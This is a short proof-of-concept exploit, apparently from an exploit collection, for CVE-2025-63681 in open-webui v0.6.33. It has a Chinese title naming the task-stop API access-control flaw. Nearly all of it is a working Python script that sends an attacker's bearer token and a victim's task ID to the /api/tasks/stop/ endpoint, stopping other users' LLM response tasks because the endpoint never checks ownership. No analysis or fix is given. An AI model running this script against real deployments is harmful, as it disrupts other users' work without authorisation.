CVE-2025-63681 open-webui任务停止API访问控制漏洞

import requests import json # CVE-2025-63681 PoC - Arbitrary Task Stop in open-webui # Target: open-webui v0.6.33 # Vulnerability: Missing ownership verification in /api/tasks/stop/ API TARGET_URL = "http://target-server:3000" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_TASK_ID = "victim_task_id_here" # Replace with target task ID def stop_arbitrary_task(): """ Stop arbitrary LLM response tasks without ownership verification. This PoC demonstrates how an authenticated attacker can stop any task. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Construct the malicious request to stop arbitrary task payload = { "task_id": TARGET_TASK_ID } endpoint = f"{TARGET_URL}/api/tasks/stop/" try: response = requests.post(endpoint, json=payload, headers=headers) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Task stopped successfully!") return True else: print("[-] Failed to stop task") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-63681 PoC - open-webui Arbitrary Task Stop") print("=" * 50) stop_arbitrary_task()